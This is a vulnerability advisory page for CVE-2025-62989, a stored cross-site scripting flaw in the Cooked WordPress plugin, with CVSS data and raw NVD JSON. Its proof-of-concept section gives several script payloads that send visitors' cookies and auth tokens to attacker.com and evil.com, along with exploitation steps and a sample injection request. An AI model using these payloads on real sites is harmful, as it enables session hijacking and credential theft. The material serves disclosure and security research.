Security Vulnerability Report
中文
CVE-2025-62989 CVSS 5.9 MEDIUM

CVE-2025-62989

Published: 2025-12-31 18:15:46
Last Modified: 2026-04-23 15:34:55

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Gora Tech Cooked cooked allows Stored XSS.This issue affects Cooked: from n/a through <= 1.11.3.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Cooked <= 1.11.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-62989 PoC: Stored XSS in WordPress Cooked Plugin --> <!-- Attack requires high privileges (admin/editor role) --> <!-- Method 1: Exploit via Recipe Title Field --> <script> fetch('https://attacker.com/log?cookie=' + document.cookie); </script> <!-- Method 2: Exploit via Recipe Description (Bypass with encoded payload) --> <img src=x onerror="fetch('https://attacker.com/log?c='+btoa(document.cookie))"> <!-- Method 3: Using Event Handlers --> <svg/onload=fetch('https://attacker.com/exfil?data='+localStorage.getItem('wp_auth'))> <!-- Exploitation Steps: 1. Login to WordPress with admin/editor privileges 2. Navigate to Cooked > Add New Recipe 3. Insert XSS payload in recipe title, description, or ingredients field 4. Publish/Save the recipe 5. Any user viewing the recipe page will execute the injected JavaScript --> <!-- Sample HTTP POST Request --> POST /wp-admin/admin.php?page=cooked-recipes&action=new HTTP/1.1 Host: target.com Cookie: [admin_cookie] Content-Type: application/x-www-form-urlencoded recipe_title=<script>fetch('https://evil.com/steal?c='+document.cookie)</script>&recipe_description=Test&recipe_publish=1

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62989", "sourceIdentifier": "[email protected]", "published": "2025-12-31T18:15:45.940", "lastModified": "2026-04-23T15:34:55.200", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Gora Tech Cooked cooked allows Stored XSS.This issue affects Cooked: from n/a through <= 1.11.3."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en Boxy Studio Cooked permite XSS Almacenado. Este problema afecta a Cooked: desde n/d hasta 1.11.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/cooked/vulnerability/wordpress-cooked-plugin-1-11-2-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}